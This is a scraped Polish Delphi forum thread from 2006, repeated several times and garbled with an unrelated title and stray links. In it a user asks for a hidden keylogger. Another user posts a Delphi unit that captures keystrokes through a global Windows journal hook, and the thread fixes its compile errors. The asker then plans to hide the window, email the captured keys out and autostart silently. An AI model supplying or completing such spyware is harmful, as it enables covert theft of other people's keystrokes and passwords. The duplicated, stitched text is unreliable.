Ĺadny brzuch
Czy ktoś wie jak napisać(*lub już dysponuje kodem*) program działający w tle który zapamiętywałby wciśnięte klawisze?? Coś w stylu Keyloggera.
Nie odsyłajcie mnie do Google, 4programmers.net, i tego forum poniewarz szukałem :)
I jeśli coś znajdowałem to nic z tego nie rozumiałem :(
Ja wiem :lol: :lol:
W wątku zakładasz globalnego hooka na klawiaturę i wymiatasz :)
No i jak tu Cię nie odsyłać :lol:
PS. Podobno na tym forum nie prosimy o gotowce
Tu mam coś na ten temat. Problem w tym, że kompletnie nie rozumiem o co w tym chodzi :blink:
na dodatek tamto się nie chce skompilować :(
Użytkownik NowyGracz edytował ten post 28 luty 2006, 17:35
Tu mam coś na ten temat. Problem w tym, że kompletnie nie rozumiem o co w tym chodzi :blink:
na dodatek tamto się nie chce skompilować :(
A może podasz dlaczego się nie komiluje, jaki wywala błąd ?!
Czy dobrze myślę że wywala się na HInstance :rolleyes:
// Aż z ciekawości sam sprawdzę :) -> U mnie jest wszystko OK !
Użytkownik lukexpert edytował ten post 28 luty 2006, 17:43
unit Unit1; interface var MainHook : HHOOK; //Tutaj function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;//Tutaj uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm)[/QUOTE] Edit1: TEdit; private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall; var Buffer: TEventMsg; begin result := 0 ; Buffer := PEventMsg(lParam)^; if Buffer.message = wm_KeyDown then Form1.Memo1.Text := Form1.Memo1.Text + chr(Buffer.paraml); end; procedure TForm1.FormCreate(Sender: TObject); begin MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0); end; procedure TForm1.FormDestroy(Sender: TObject); begin UnhookWindowsHookEx(MainHook); end; {$R *.dfm} end.
Niewiem może coś źle zrobiłem. :blink:
[Error] Unit1.pas(4): Undeclared identifier: 'HHOOK'
[Error] Unit1.pas(5): Undeclared identifier: 'WPARAM'
[Error] Unit1.pas(5): Undeclared identifier: 'LPARAM'
[Error] Unit1.pas(6): Declaration expected but 'USES' found
[Error] Unit1.pas(11): Undeclared identifier: 'TForm'
[Error] Unit1.pas(12): Undeclared identifier: 'TEdit'
[Error] Unit1.pas(27): Undeclared identifier: 'TEventMsg'
[Error] Unit1.pas(30): Undeclared identifier: 'PEventMsg'
[Error] Unit1.pas(30): Pointer type required
[Error] Unit1.pas(31): 'THEN' expected but identifier 'message' found
[Error] Unit1.pas(37): Undeclared identifier: 'SetWindowsHookEx'
[Error] Unit1.pas(37): Undeclared identifier: 'wh_JournalRecord'
[Error] Unit1.pas(37): Not enough actual parameters
[Error] Unit1.pas(40): Statement expected but 'PROCEDURE' found
[Error] Unit1.pas(40): Undeclared identifier: 'FormDestroy'
[Error] Unit1.pas(40): ';' expected but '(' found
[Error] Unit1.pas(42): Undeclared identifier: 'UnhookWindowsHookEx'
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
...
Niewiem może coś źle zrobiłem. :blink:
A wogole to taka rada ... poczytaj o strukturze unitu w delphi ... gdzie uses, gdzie deklaracje, gdzie kod :)
No przecież jest jak wół napisane na 4p :blink:
Przenieś to:
var MainHook : HHOOK; function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;//Tutaj
za:var Form1: TForm1;
Dzięki :) Myślę, że reszta to będzie już prostsza wystarczy ukryć okno. Skorzystać z indy żeby wysyłało wszystko na mail.
Jeszcze autostart, a propos jak zrobić start z Windowsem tak żeby nie było skrótu w Start->Â Programy->Autostart ??
THX wszystkim za pomoc.
Muszę jeszcze poczytać o rejestrze, bo nie zabardzo się w nim oriętuje. :D
EDIT:
Tylko jak zrobić, żeby były zapamiętywane cyfry z klawiatury numerycznej?
Bo gdy wciskam np. 1 to zamiast jedynki w memo jest 'a'.
Użytkownik NowyGracz edytował ten post 01 marzec 2006, 17:57
Czy ktoś wie jak napisać(*lub już dysponuje kodem*) program działający w tle który zapamiętywałby wciśnięte klawisze?? Coś w stylu Keyloggera.
Nie odsyłajcie mnie do Google, 4programmers.net, i tego forum poniewarz szukałem :)
I jeśli coś znajdowałem to nic z tego nie rozumiałem :(
A ja wiem, że na 4Programmers jest komponent do Delphi działający jak Keylogger. Jest do niego również demo.
A ja wiem, że na 4Programmers jest komponent do Delphi działający jak Keylogger. Jest do niego również demo.
zanotowane.pl doc.pisz.pl pdf.pisz.pl zsf.htw.pl
Nie odsyłajcie mnie do Google, 4programmers.net, i tego forum poniewarz szukałem :)
I jeśli coś znajdowałem to nic z tego nie rozumiałem :(
Ja wiem :lol: :lol:
W wątku zakładasz globalnego hooka na klawiaturę i wymiatasz :)
No i jak tu Cię nie odsyłać :lol:
PS. Podobno na tym forum nie prosimy o gotowce
Tu mam coś na ten temat. Problem w tym, że kompletnie nie rozumiem o co w tym chodzi :blink:
na dodatek tamto się nie chce skompilować :(
Użytkownik NowyGracz edytował ten post 28 luty 2006, 17:35
Tu mam coś na ten temat. Problem w tym, że kompletnie nie rozumiem o co w tym chodzi :blink:
na dodatek tamto się nie chce skompilować :(
A może podasz dlaczego się nie komiluje, jaki wywala błąd ?!
Czy dobrze myślę że wywala się na HInstance :rolleyes:
// Aż z ciekawości sam sprawdzę :) -> U mnie jest wszystko OK !
Użytkownik lukexpert edytował ten post 28 luty 2006, 17:43
unit Unit1; interface var MainHook : HHOOK; //Tutaj function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;//Tutaj uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm)[/QUOTE] Edit1: TEdit; private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall; var Buffer: TEventMsg; begin result := 0 ; Buffer := PEventMsg(lParam)^; if Buffer.message = wm_KeyDown then Form1.Memo1.Text := Form1.Memo1.Text + chr(Buffer.paraml); end; procedure TForm1.FormCreate(Sender: TObject); begin MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0); end; procedure TForm1.FormDestroy(Sender: TObject); begin UnhookWindowsHookEx(MainHook); end; {$R *.dfm} end.
Niewiem może coś źle zrobiłem. :blink:
[Error] Unit1.pas(4): Undeclared identifier: 'HHOOK'
[Error] Unit1.pas(5): Undeclared identifier: 'WPARAM'
[Error] Unit1.pas(5): Undeclared identifier: 'LPARAM'
[Error] Unit1.pas(6): Declaration expected but 'USES' found
[Error] Unit1.pas(11): Undeclared identifier: 'TForm'
[Error] Unit1.pas(12): Undeclared identifier: 'TEdit'
[Error] Unit1.pas(27): Undeclared identifier: 'TEventMsg'
[Error] Unit1.pas(30): Undeclared identifier: 'PEventMsg'
[Error] Unit1.pas(30): Pointer type required
[Error] Unit1.pas(31): 'THEN' expected but identifier 'message' found
[Error] Unit1.pas(37): Undeclared identifier: 'SetWindowsHookEx'
[Error] Unit1.pas(37): Undeclared identifier: 'wh_JournalRecord'
[Error] Unit1.pas(37): Not enough actual parameters
[Error] Unit1.pas(40): Statement expected but 'PROCEDURE' found
[Error] Unit1.pas(40): Undeclared identifier: 'FormDestroy'
[Error] Unit1.pas(40): ';' expected but '(' found
[Error] Unit1.pas(42): Undeclared identifier: 'UnhookWindowsHookEx'
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
...
Niewiem może coś źle zrobiłem. :blink:
A wogole to taka rada ... poczytaj o strukturze unitu w delphi ... gdzie uses, gdzie deklaracje, gdzie kod :)
No przecież jest jak wół napisane na 4p :blink:
Przenieś to:
var MainHook : HHOOK; function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;//Tutaj
za:var Form1: TForm1;
Dzięki :) Myślę, że reszta to będzie już prostsza wystarczy ukryć okno. Skorzystać z indy żeby wysyłało wszystko na mail.
Jeszcze autostart, a propos jak zrobić start z Windowsem tak żeby nie było skrótu w Start->Â Programy->Autostart ??
THX wszystkim za pomoc.
Muszę jeszcze poczytać o rejestrze, bo nie zabardzo się w nim oriętuje. :D
EDIT:
Tylko jak zrobić, żeby były zapamiętywane cyfry z klawiatury numerycznej?
Bo gdy wciskam np. 1 to zamiast jedynki w memo jest 'a'.
Użytkownik NowyGracz edytował ten post 01 marzec 2006, 17:57
Czy ktoś wie jak napisać(*lub już dysponuje kodem*) program działający w tle który zapamiętywałby wciśnięte klawisze?? Coś w stylu Keyloggera.
Nie odsyłajcie mnie do Google, 4programmers.net, i tego forum poniewarz szukałem :)
I jeśli coś znajdowałem to nic z tego nie rozumiałem :(
A ja wiem, że na 4Programmers jest komponent do Delphi działający jak Keylogger. Jest do niego również demo.
A ja wiem, że na 4Programmers jest komponent do Delphi działający jak Keylogger. Jest do niego również demo.